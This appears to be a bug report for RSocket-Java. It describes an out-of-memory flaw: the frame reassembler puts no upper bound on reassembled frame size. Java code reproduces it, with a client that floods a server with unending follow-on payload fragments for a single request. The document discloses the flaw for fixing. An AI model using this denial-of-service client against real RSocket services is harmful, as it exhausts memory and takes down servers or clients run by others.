Client and server are subject to OOM because FrameReassembler does not have upper bound on received frame size. Reproducible with code below

Server

    CloseableChannel server =
        RSocketServer.create()
            .acceptor((setup, sendingSocket) -> Mono.just(new RSocket() {}))
            .bind(TcpServerTransport.create(7077))
            .block();
    logger.info("Server bound on {}", server.address());
    server.onClose().block();

Client

    InetSocketAddress address = new InetSocketAddress("localhost", 7077);
    TcpClientTransport.create(address)
        .connect()
        .flatMap(
            duplexConnection -> {
              logger.info("Client connected to {}", address);

              MonoProcessor<Void> onClose = MonoProcessor.create();
              UnicastProcessor<ByteBuf> outbound = UnicastProcessor.create();

              duplexConnection
                  .send(outbound)
                  .subscribe(unused -> onClose.onComplete(), err -> onClose.onError(err));
              duplexConnection
                  .receive()
                  .subscribe(
                      inbound -> inbound.release(),
                      err -> onClose.onError(err),
                      () -> onClose.onComplete());

              outbound.onNext(
                  SetupFrameCodec.encode(
                      ByteBufAllocator.DEFAULT,
                      false,
                      10_000,
                      100_000,
                      "application/binary",
                      "application/binary",
                      EmptyPayload.INSTANCE));
              outbound.onNext(
                  RequestResponseFrameCodec.encode(
                      ByteBufAllocator.DEFAULT,
                      1,
                      true,
                      Unpooled.wrappedBuffer(METADATA),
                      Unpooled.EMPTY_BUFFER));
              for (int i = 0; i < FRAGMENTS_COUNT; i++) {
                outbound.onNext(
                    PayloadFrameCodec.encode(
                        ByteBufAllocator.DEFAULT,
                        1,
                        true,
                        false,
                        true,
                        Unpooled.wrappedBuffer(METADATA),
                        Unpooled.EMPTY_BUFFER));
              }
              logger.info(
                  "Sent {} fragments of total size {} bytes",
                  FRAGMENTS_COUNT,
                  FRAGMENT_SIZE * FRAGMENTS_COUNT);
              return onClose;
            })
        .block();

It emulates RSocket client sending infinite sequence of frame fragments for particular request.